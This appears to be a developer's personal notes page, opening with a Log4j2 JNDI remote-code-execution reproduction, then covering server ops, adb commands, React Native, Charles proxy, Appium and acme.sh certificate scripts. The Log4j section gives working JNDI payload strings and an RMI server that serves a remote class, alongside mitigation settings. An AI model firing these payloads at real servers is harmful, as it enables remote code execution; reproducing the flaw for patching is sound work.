0%

log4j2-issue

2021-12-10 log4j漏洞处理
(代码地址)[http://gitlab.foxhello.com/challenge/log4j2-issue]

示例 1:

1.1、启动rmi server

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit

1
java -jar ~/Downloads/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "127.0.0.1" -C "open /Applications/Safari.app"

1.2、启动org.example.Log4jRCE

1
2
3
# 端口、路径见1中打印的日志

logger.error("${jndi:ldap://192.168.31.212:1389/mwpbcb}");

示例 2:

2.1、编写org.example.RMIServer

指定路径和端口

1
2
3
4
5
6
7
8
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("Create RMI registry on port 1099!");
// 前两个参数为类名,第三个参数为远程类地址
Reference reference = new Reference("Test", "Test", "http://192.168.31.212:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);

2.2、编写漏洞攻击方法Test

1
2
3
4
5
public class Test {
static {
System.out.println("你好 log4j2");
}
}

2.3、在编译后的class目录下,启动web服务

1
python3 -m http.server 8080

2.4、启动org.example.Log4jRCE,可执行漏洞攻击类Test

1
logger.error("${jndi:rmi://192.168.31.212:1099/evil}");

解决方法

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

注意:springboot2以上,使用logback;只有log4j-api包,不存在漏洞,使用log4j-core实现类存在问题

运用场景

  1. 在服务器中执行方法,如调起浏览器
    2、服务器宕机
    3、运行其他应用的服务 ——— 远程调用

参考

  1. 令无数程序员加班的 Log4j2 远程执行漏洞复现

服务器运维

环境问题

现有都为 Linux,区分 centos、ubuntu 及各个版本;

  1. shell 执行失败
    表 现:不能执行命令,如 npm 不存在等
    解决方案:将 path 打印出来、将 npm 所在路径 export 到 path 中

应用部署问题

  1. 应用部署重复工作
    表现:有多个服务在多个节点上,现有需要手动部署,重复工作
    解决方案 1: 使用 jenkins 自动化部署
    引申问题 1: 不能同时部署多个应用 —— shell 命令添加参数、jenkins 添加入参
    引申问题 2: 不能只部署几台服务器 —— 同上
    引申问题 3: 跳板机执行存在问题,即有些命令不能使用 —— 见【环境问题 1】
    引申问题 4:数据同步 sftp 命令烦杂 —— 使用 scp、ansibile

    1
    2
    3
    # 增量同步:rsync 但是要求源主机、目的主机都安装rsync

    rsync -avzu --progress /root/sign/ipa/ root@8.212.132.195:/root/sign/ipa/

    引申问题 5:

    解决方案 2: 使用运维工具

  2. 服务器运行监控
    表现:服务器运行监控
    解决方案:

  3. 应用日志管理
    表现:现有日志都要到服务器查看
    解决方案:远程 web 查看

  4. 每月执行事务

    • 数据库备份、清数据
    • 系统硬盘容量、内存容量
    • ssl 证书签名过期

技术使用

k8s

函数计算

相关命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
# adb 版本信息
adb version

# 查看连接设备
adb devices
# 指定设备
adb -s SQRNW17A28010878 shell

# 系统相关信息
# 系统型号
adb shell getprop ro.product.model
# 电池状况:其中 scale 代表最大电量,level 代表当前电量
adb shell dumpsys battery
# 屏幕分辨率
adb shell wm size
# 屏幕密度
adb shell wm density
# 显示屏参数 其中 mDisplayId 为 显示屏编号,init 是初始分辨率和屏幕密度,app 的高度比 init 里的要小,表示屏幕底部有虚拟按键,高度为 1920 - 1794 = 126px 合 42dp。
adb shell dumpsys window displays
# android系统版本
adb shell getprop ro.build.version.release

# 进入移动端系统
adb shell

# 显示系统所有应用
adb shell pm list packages

<< 'COMMENT'
无 所有应用
-f 显示应用关联的 apk 文件
-d 只显示 disabled 的应用
-e 只显示 enabled 的应用
-s 只显示系统应用
-3 只显示第三方应用
-i 显示应用的 installer
-u 包含已卸载应用
<FILTER> 包名包含 <FILTER> 字符串
COMMENT
adb shell pm list packages -3

adb shell pm list packages taobao
adb shell pm list packages | grep taobao

# 调起微信主页面
adb shell am start -n com.tencent.mm/.ui.LauncherUI
adb shell am force-stop com.ss.android.article.lite
adb shell am kill com.ss.android.article.lite

# 清除应用数据与缓存
adb shell pm clear com.ss.android.article.lite

# 复制设备的文件到电脑
adb pull /sdcard/README.md ./
# 复制电脑里的文件到设备
adb push ./README.md /sdcard/

# 完成一些用户操作
adb shell input keyevent <keycode>

<< 'COMMENT'
https://developer.android.com/reference/android/view/KeyEvent.html

keycode 含义
3 HOME 键
4 返回键
5 打开拨号应用
6 挂断电话
24 增加音量
25 降低音量
26 电源键
27 拍照(需要在相机应用里)
64 打开浏览器
82 菜单键
85 播放/暂停
86 停止播放
87 播放下一首
88 播放上一首
122 移动光标到行首或列表顶部
123 移动光标到行末或列表底部
126 恢复播放
127 暂停播放
164 静音
176 打开系统设置
187 切换应用
207 打开联系人
208 打开日历
209 打开音乐
210 打开计算器
220 降低屏幕亮度
221 提高屏幕亮度
223 系统休眠
224 点亮屏幕
231 打开语音助手
276 如果没有 wakelock 则让系统休眠
COMMENT

# 滑动解锁 input swipe
# 参数 300 1000 300 500 分别表示起始点x坐标 起始点y坐标 结束点x坐标 结束点y坐标
adb shell input swipe 300 1000 300 500

# 通过 input 命令来输入文本,其中hello表示要输入的文本
adb shell input text hello

# 在屏幕上点击坐标点x=50 y=250的位置。
adb shell input tap 50 250

# 查看界面布局 https://www.pianshen.com/article/54061784545/
adb shell uiautomator dump /data/local/tmp/uidump.xml

# 截屏
adb shell screencap -p /sdcard/sc.png
# 然后将 png 文件导出到电脑
adb pull /sdcard/sc.png

# 录屏 -- 本机无法演示,没有相关命令
adb shell screenrecord /sdcard/filename.mp4

# root权限无法演示 ----- android已无法提供?


<< 'COMMENT'
每个数字与keycode对应表如下:
0 --> "KEYCODE_UNKNOWN"
1 --> "KEYCODE_MENU"
2 --> "KEYCODE_SOFT_RIGHT"
3 --> "KEYCODE_HOME"
4 --> "KEYCODE_BACK"
5 --> "KEYCODE_CALL"
6 --> "KEYCODE_ENDCALL"
7 --> "KEYCODE_0"
8 --> "KEYCODE_1"
9 --> "KEYCODE_2"
10 --> "KEYCODE_3"
11 --> "KEYCODE_4"
12 --> "KEYCODE_5"
13 --> "KEYCODE_6"
14 --> "KEYCODE_7"
15 --> "KEYCODE_8"
16 --> "KEYCODE_9"
17 --> "KEYCODE_STAR"
18 --> "KEYCODE_POUND"
19 --> "KEYCODE_DPAD_UP"
20 --> "KEYCODE_DPAD_DOWN"
21 --> "KEYCODE_DPAD_LEFT"
22 --> "KEYCODE_DPAD_RIGHT"
23 --> "KEYCODE_DPAD_CENTER"
24 --> "KEYCODE_VOLUME_UP"
25 --> "KEYCODE_VOLUME_DOWN"
26 --> "KEYCODE_POWER"
27 --> "KEYCODE_CAMERA"
28 --> "KEYCODE_CLEAR"
29 --> "KEYCODE_A"
30 --> "KEYCODE_B"
31 --> "KEYCODE_C"
32 --> "KEYCODE_D"
33 --> "KEYCODE_E"
34 --> "KEYCODE_F"
35 --> "KEYCODE_G"
36 --> "KEYCODE_H"
37 --> "KEYCODE_I"
38 --> "KEYCODE_J"
39 --> "KEYCODE_K"
40 --> "KEYCODE_L"
41 --> "KEYCODE_M"
42 --> "KEYCODE_N"
43 --> "KEYCODE_O"
44 --> "KEYCODE_P"
45 --> "KEYCODE_Q"
46 --> "KEYCODE_R"
47 --> "KEYCODE_S"
48 --> "KEYCODE_T"
49 --> "KEYCODE_U"
50 --> "KEYCODE_V"
51 --> "KEYCODE_W"
52 --> "KEYCODE_X"
53 --> "KEYCODE_Y"
54 --> "KEYCODE_Z"
55 --> "KEYCODE_COMMA"
56 --> "KEYCODE_PERIOD"
57 --> "KEYCODE_ALT_LEFT"
58 --> "KEYCODE_ALT_RIGHT"
59 --> "KEYCODE_SHIFT_LEFT"
60 --> "KEYCODE_SHIFT_RIGHT"
61 --> "KEYCODE_TAB"
62 --> "KEYCODE_SPACE"
63 --> "KEYCODE_SYM"
64 --> "KEYCODE_EXPLORER"
65 --> "KEYCODE_ENVELOPE"
66 --> "KEYCODE_ENTER"
67 --> "KEYCODE_DEL"
68 --> "KEYCODE_GRAVE"
69 --> "KEYCODE_MINUS"
70 --> "KEYCODE_EQUALS"
71 --> "KEYCODE_LEFT_BRACKET"
72 --> "KEYCODE_RIGHT_BRACKET"
73 --> "KEYCODE_BACKSLASH"
74 --> "KEYCODE_SEMICOLON"
75 --> "KEYCODE_APOSTROPHE"
76 --> "KEYCODE_SLASH"
77 --> "KEYCODE_AT"
78 --> "KEYCODE_NUM"
79 --> "KEYCODE_HEADSETHOOK"
80 --> "KEYCODE_FOCUS"
81 --> "KEYCODE_PLUS"
82 --> "KEYCODE_MENU"
83 --> "KEYCODE_NOTIFICATION"
84 --> "KEYCODE_SEARCH"
85 --> "TAG_LAST_KEYCODE"

KEYCODE_CALL 拨号键 5
KEYCODE_ENDCALL 挂机键 6
KEYCODE_HOME 按键Home 3
KEYCODE_MENU 菜单键 82
KEYCODE_BACK 返回键 4
KEYCODE_SEARCH 搜索键 84
KEYCODE_CAMERA 拍照键 27
KEYCODE_FOCUS 拍照对焦键 80
KEYCODE_POWER 电源键 26
KEYCODE_NOTIFICATION 通知键 83
KEYCODE_MUTE 话筒静音键 91
KEYCODE_VOLUME_MUTE 扬声器静音键 164
KEYCODE_VOLUME_UP 音量增加键 24
KEYCODE_VOLUME_DOWN 音量减小键 25
————————————————
版权声明:本文为CSDN博主「恋恋西风」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/q610098308/article/details/48781747
COMMENT

RN 学习

环境搭建

  1. react-native 命令安装

    1
    2
    3
    npm install -g yarn

    npm install -g yarn react-native-cli

示例教程

1
2
3
4
5
6
react-native init AwesomeProject --version 0.44.3

cd AwesomeProject

react-native run-ios

问题

  1. 示例项目编译不成功
    node 版本要求在 v12 以上————————-系统默认为 v10.14.2 修改为 v14.16.1 nvm alias default v14.16.1
    init 命令默认会创建最新的版本,目前最新 0.45 及以上版本需要下载 boost 等几个第三方库编译,很难下载成功。可以使用 0.44.3 版本
    react-native init MyApp --version 0.44.3

2.

参考资料

  1. React Native 中文网
  2. React Native 中文网-入门

Charles-抓包

安装

  1. 在官网下载 https://www.charlesproxy.com/
  2. 查看配置
    proxy -> proxy settings -> 8888 (默认)
    proxy -> start recording
    proxy -> start ssl proxy
    proxy -> mac os proxy
    proxy -> access control settings (没有允许对话框,需要将改列表的 ip 删除)
  3. 移动端配置
    在移动端和电脑连接同一 Wi-Fi,手动配置代理
    服务器为电脑 ip
    端口为 8888
  4. 移动端安装证书,见问题 1
  5. 在移动端浏览器访问 电脑 ip:端口, 在电脑端点击允许

问题

  1. 不能查看 iphone 的 https 请求内容
    没有在手机安装证书: 访问 chls.pro/ssl 安装证书
    设置 -> 通用 -> 描述文件 -> Charles Proxy CA 验证

    配置证书信任设置
    设置 -> 通用 -> 关于本机 -> 证书信任设置

  2. 关闭 Charles,电脑不能访问网站
    在 网络 -> 打开网络偏好设置 -> 对应网络,高级 -> 代理 -> 网页代理、安全网页代理 -> 不选中

3.

参考

  1. IPhone Charles 抓包 Https 失败解决方式

appium 自动化测试

安装

获取 android 的包名、启动 activity

  1. android 包名获取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 查看连接的android设备
adb devices

# 看到adb shell pm的相关用法
adb shell pm

# Android内核版本号
adb shell getprop ro.build.version.release

# 连接的设备名称 model查看
adb devices -l

# 输出的所有信息就是 包名 对应着的 apk文件
adb shell pm list packages -f

# 获得手机里面今日头条极速版apk的应用信息、版本信息
adb shell dumpsys package com.ss.android.article.lite

# 列出所有
adb shell dumpsys

# 看一个apk文件的相关信息
aapt dump badging [yourapp.apk]

adb shell dumpsys activity -h
adb shell dumpsys package -h

使用应用:GT、ML Manager

  1. 查看应用启动的 activity
1
2
3
4
5
6
7
8
9
10
11
12
# 获得手机里面今日头条极速版apk的应用信息、版本信息
adb shell dumpsys package com.ss.android.article.lite
# 包含“category.LAUNCHER” 字样的Activity即可

# 设置日志的详细程度,当我们指定为 -VVV 的时候,并且指定模拟随机事件为一次
adb shell monkey -p com.saj.esolar -vvv 1

# 则可查看包名、启动的activity信息、权限等。看到launchable-activity,后面就是启动的Activity
aapt dump badging XXX.apk

# windows 查找内容
adb shell dumpsys activity | find "mFocusedActivity"
  1. 启动应用
1
adb shell am start -n breakan.test/breakan.test.TestActivity

参考资料

  1. Python+Appium 实现自动化测试
  2. Android 常见应用的包名
  3. iOS 常用 App 的 bundleID
  4. 查看 app 包名和启动页 Activity 的方法

证书生成

acme.sh 安装

证书生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
export CF_Key=""
export CF_Email=""

# jack6909
# global api key
# origin ca key v1.

# 只生成一次,忘记需要重新生成
export CF_Token="KF-"
export CF_Account_ID="****"
export CF_Zone_ID="****"

domain=$1

if [ "$domain" = "" ]
then
echo "域名参数不能为空,请检查"
else
echo "域名为 $domain "

# 生成多个文件key、csr、cer等---生成证书
/root/.acme.sh/acme.sh --issue --dns dns_cf -d ${domain} -d www.${domain} --log
# 将上一步生成csr、cer 生成nginx能使用的crt格式----安装证书
/root/.acme.sh/acme.sh --installcert -d ${domain} --key-file /root/sign/ssl/${domain}/${domain}.key --fullchain-file /root/sign/ssl/${domain}/${domain}.crt

/root/.acme.sh/acme.sh --issue --dns dns_cf -d *.${domain} -d *.${domain} --log
/root/.acme.sh/acme.sh --installcert -d \*.${domain} --key-file /root/sign/ssl/${domain}/\*.${domain}.key --fullchain-file /root/sign/ssl/${domain}/\*.${domain}.crt

fi

问题

  1. 二级域名不能访问
    cloudflare 中 dns 需要配置两条链路:www 和 * 解析的内容

参考资料

  1. kjie 笔记-acme.sh 自动生成 ssl 证书
  2. 官网教程
  3. github 地址
  4. 泛域名 ssl 证书
  5. acme 工具的使用与 cloudflare
  6. acme && 阿里云
  7. segmentfault- acme && 阿里云